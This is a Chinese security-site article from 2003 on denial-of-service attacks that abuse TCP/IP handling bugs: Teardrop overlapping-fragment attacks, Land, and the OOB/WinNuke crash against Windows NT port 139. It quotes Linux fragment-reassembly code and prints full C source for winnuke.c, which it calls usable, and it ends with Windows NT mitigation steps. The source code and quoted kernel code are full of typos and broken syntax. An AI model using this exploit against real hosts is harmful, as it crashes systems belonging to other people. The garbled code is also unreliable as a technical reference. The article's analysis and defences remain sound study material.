登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 黑客教学 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

利用处理程序错误攻击
发表日期:2003-08-13作者:[] 出处:  

在本章,将要介绍一些利用TCP/IP协议的处理程序中错误进行攻击的原理、方法以及一些防范对策。

这些攻击包括当前流行的Teardrop和Land攻击。

利用协议实现的攻击方法,都是故意错误地设定数据包头的一些重要字段,例如,IP包头部的Total

Length、Fragment offset、IHL和Source address等字段。使用Raw Socket将这些错误的IP数据包

发送出去。在接受数据端,接收程序通常都存在一些问题,因而在将接受到的数据包组装成一个完整

的数据包的过程中,就会使系统当机、挂起或系统崩溃。

在最后,是一个服务程序错误而导致攻击的例子:OOB。

在本章,我们将结合一些程序来讨论这种攻击能够实施的原理的同时,读者也可以使用这些程序来检

查自己系统针对这类攻击的安全程度,并采取相应的措施。

1 攻击的现象及其后果

使用了Windows 95和Windows 98 NT的人们都经历过系统陷入混乱,对任何输入都没有响应的情况。

这时候,屏幕出现蓝屏,迟迟无法重新刷新。按下Ctrl+Alt+Del时,看到系统CPU利用率达到100%,

同时显示一个应用程序无响应。这是程序出错或者使用了盗版软件的缘故。

通过网络,也可以使正在使用的计算机出现这种无响应、死机的现象。事实上,大量的程序往往经

不住人们恶意的攻击。

人们已经使用了许多方法来专门对付上网的Windows 95和Windows NT。目前,能够对Windows 95和

Windows NT进行攻击的方法很多,当前流行的有:tearDrop(也称为“泪滴”)、OOB、Land和Ping of Death

等。其中,关于Ping of Death在缓冲区溢出一章中对这种攻击做了介绍,并给出了一些对策。

一般的攻击过程是这样的:当入侵者发现了一台Windows 95或者Windows NT(这只需用端口扫描工具扫一

下就可以辨认出来),便用一个OOB或者TearDrop攻击,再次用ping命令时,目标主机就没有响应了。事

实上,这些攻击并不是局限于Windows NT和Windows 95平台,一些攻击,如Land已被发现对Linux、Cisco

路由器以及其他大量的UNIX操作系统都具有相当的攻击能力。

能够实施这种攻击的原因是在Windows 95和Windows NT中存在错误,这是一种处理TCP/IP协议或者服务程

序的错误。人们利用这些错误。通过给端口送一些故意弄错的数据包,在这个数据包的偏移字段和长度字

段,写入一个过大或过小的值。Windows 95和Windows NT都不能处理这个情况,然后Windows 95就先变成

蓝屏,Windows NT是非死机不可。据称TearDrop可以使被攻击的主机立刻当机。

这些攻击的危险性在于可以通过网络发起攻击,当攻击者发现了一台上网的Windows 95、Windows NT或者

Linux操作系统主机时,只需启动这一程序,输入入口参数假冒IP、端口号,被攻击主机的IP地址和端口号,

便可以发起攻击了。通常是Linux一遭到攻击就当机,而Windows在受到十几次攻击之后也会死机。这时候,

用ping命令,被攻击的主机就再也没有回应了。

服务程序存在错误的情况是很多的,例如,Windows NT中的RPC服务存在漏洞。某个用户可以远程登录到

Windows NT 3。5x或者服务器的端口135,并任意输入10个字符,然后回车,切断连接。这便可以使目标

主机的CPU利用率达到100%。虽然一个简单的重启动就消除了这个问题,但毕竟这是很讨厌的,是系统安

全的重要隐患并严重地影响系统性能。

对于OOB攻击,人们已经提出一些对策,如在Windows NT 4.0 中,呆以对发到端口若悬河39的包进行过滤

等,都需要对系统的网络设置进行一番配置,来分别处理拔号上网和使用LAN的情况。

目前网上已经出现补丁程序,用来对付这些攻击方法的攻击。在 Windows 95和Windows NT上的安装非常

简单,只需运行一下安装包即可。

在没有找到补丁程序之前,也可能性安装一个PC防火墙。该工具非常有效,例如,当禁止从主机的所有端

口发出数据包,同时禁止数据包发向本主机的所有端口时,实际上已将本主机应用层的服务功能和访问功

能切断。此时,虽然可以ping通一台有帐户和口令的UNIX主机,但却地法登上(telnet)该主机或从该主

机用ftp取回文件。

可以用该工具来过滤发向本主机一些端口(例如139)的数据包。

2 泪滴(TearDrop)攻击工具

这个攻击工具起名为泪滴,它确实可以让人们恨得咬牙切齿。

当辛苦的劳动成果突然因为一次莫名其妙的当机而化为乌有。也许,这次当机便是一个人随意地向你的计

算机动了一次小小的攻击所致。

这个攻击利用的是系统在实现时的一个错误,我们以Linux上的一个实现为例,也就是说,某些Linux操作

系统也是脆弱的,我们也可以用这种方法攻击Linux操作系统。

Linux操作系统在它的IP数据包重装模块有一个严重的错误,更确切一点地说,是在ip-glue()函数中。

当Linux收到一个个IP包,送到IP层进行组装,以形成发送端原来的IP包时,它将进入了一个循环中,将

接收队列中的一个个数据包中的有效数据,拷贝到一个新分配的缓冲区中。

这段代码如下:

fp = qp->fragments;

while (fp ! =NULL)

{

if (count +fp ->len >skb ->len)]

{

error-to-big;

}

memcpy (ptr + fp ->offaet ), fp-> ptr, fp->len);

count +=fp ->len;

fp =fp->next;

}

在程序中,检查了每段数据是否过长,因为如果数据部分过长,将会向内核拷贝过多的数据,引起内核

发生某种危险。然而在程序中并没有检查包中有效数据的长度是否过分小,例如,当表示包中数据长度

的变量变成了一个负数时(例如 fp->len<0),对这种情况,并没有进行检查,结果是系统将过多的数据

拷贝到内核中去。

以下,让我们看看Linux是如何将收到的IP数据加入到组装队列中去的。

计算这一fragmrnt的终结位置:

/*

l Determine the position of this fragmrment.

l /

end =offset +ntohs(iph ->tot-len) –ihl;

在正常情况下一切也正常。但是,当我们精心准备这样的数据包,让前后包中的“fragment offset”字

段交叠在一起,会发生什么呢?

看看程序对“fragment offset”做了那些处理:

if (prev != NULL&& offset

{

I =prev->end –offset;

Offset +=I : /*ptr into datagram */

Ptr += I /* ptr into fragment data */

}

如果我们发现当前包的段偏移在前一包数据内部,也就是说根据偏移字段的值,前后两数据包的数据部

分有重叠。组装程序试图正确对齐它们的边界。程序代码如上所示。这一步是对的。除非当前包中的有

效数据碰巧没有足够的数据来满足对齐的要求。在这种情况下,“offset”域中的值将会比“ end”域

中的值大。这两个数值被交给“ip-frag-create()”模块,在这个模块中,将会计算当前包的长度。

/* Fill in the structure. */

fp->offset =offset;

fp->end =end;

fp->len =end –offset;

在这种极少见的情况下,计算出来的fp-len竟变成了一个负数,于是memcpy()最终将会把大量的数据拷贝

到内核中,因为memcpy()中的记数器是一个反码,是一个非常大的数值。根据使用的内存管理机制的不同,

将会引起系统重启动或停机。

这种情况完全可以通过编程来实现,例如可以发送两个特殊的数据包,第一个包中的“offset”域置为0,

包中有效数据(IP数据)长度为N,MF位置1。第二个包中MF位置0,“offset”为一个小于N的数,包中的

IP数据也少于N。

当将收到的两个数据包组装时,先将第一个数据包拷贝到一个缓冲区中去,然后拷贝第二个数据包。因为

next->offset

cur ->offset =next ->offset +(pre->end-next->offest);

cur ->end =next ->offest +(next->iph ->tot-len)-ihl);

cur ->len =cur->end-cur->offest;

当ntohs(next->iph->tot-len)-ihl<(pre->end-next->offset)时,错误就发生了。这时候,cur->len为

负数。

在正常情况下,无法预言这种情况是否会发生,发生的频率如何。但是在人为的情况下,尤其是在一处故

意的情况下,那就一定会发生的。

人们可以自己编写发送raw数据包的程序。在数据包中,从IP包头开始,都可以填入自己想要的任意数值。

而我们使用软件并不能处理这类非常复杂的情况。事实上,即使对软件曾经进行了详细的测试,也很难说

会发现这种错误。

当前的许多Linux的实现中都有这个错误,向Linux发送很少几个这样的数据包,便可以引起Linux当机,

因为通常这种IP包重组和缓冲区开在系统核心态,缓冲区溢出将使系统崩溃。同样地,向Windows 95、

Windows NT发送10-15个这样的包,也会引起死机。

现在在网上已经出现了大量类似这样的程序,这些攻击的方法依然是对一些字段使用错误的值,但和

“泪滴”相反,将段偏移字段写入一个大于头的长度的数值或者伪造UDP的长度,直到伪造为真实长度的

两倍。或者将原来专门攻击53端口的程序改造为可以攻击一系列端口。

从红色力量中转载--见我们的连接

利用处理程序错误攻击(下)

3 Land攻击工具

Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行

攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,

tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述:

“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外

部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择

只有来一个硬重启动。“

可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。

更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的

操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。

更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口

的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可

以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有

打过“补丁”,对自己的系统打“补丁”确实是当务之急。

4 OOB攻击工具

5.1 攻击代码

OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的

安全性。

/* winnuke.c – (05/07/97) BY –ECI */

/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */

#include

#include

#include

#include

#include

#include

#include

#define dport 139 /*Attack port; 139 is what we want */

int x,s;

char str =”Bye”; /Makes no diff */

struct sockaddr-in addr, spoofedaddr;

atruct hostent *host;

int opdn-sock(int scok, char *server,int port) {

struct sockaddr-in blah;

struct hostent *he;

bzero ((char*) &blah,sizeof(blah));

blah.sin-family=AF-INET;

blah.sin-addr.s-addf=inet-addf(server);

blah.sin-port=htons(port);

if((he=gethostbyname(server)) ! =NULLL) {

bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);

}

else {

if ((blah.sin-addr =inet-addr (server)) <0) {

return(-3);

}

}

if (connect (sock,(struct sockaddr *)&blah,16)==-1) {

perror(“cinnect()”);

close(sock);

retuen(-4);

}

void main (int argc,char *argv[]) {

if (argc !=2) {

printf(“Usage: %s

exit(0);

}

if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {

PERROR (“socket()”);

Exyt(-1);

}

open-sock(s,argv[1],dport);

printf(“Sending crash …”);

send (s, str, atrldn (str),MSG-OOB);

usleep (100000);

printf(“Done!\n”);

close(s);

}

10.5.2 一些临时措施

目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,

第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。

方法一:

1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。

2. 打开[显示绑定属于]列表,选择[所有适配器]。

3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。

4. 单击[禁用]按钮。

5. 确认后,重新启动系统。

需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。

这是正常的,而且每次启动时都会有。

方法二:

1. 进入[控制面板],找到[设备]图标。

2. 到列表的底部,找到[WINS客户(TCP/IP)]。

3. 单击[停止]按钮,然后单击[关闭]按钮。

4. 重启系统。

这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。

所以要与系统管理员联系,以决定这样做是否必要

方法三:

Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包

进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。

1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。

2. 在IP地址表中,选择[高级]按扭。

3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。

4. 单击[确定],然后退出,重启动系统。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 利用处理程序错误攻击

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00213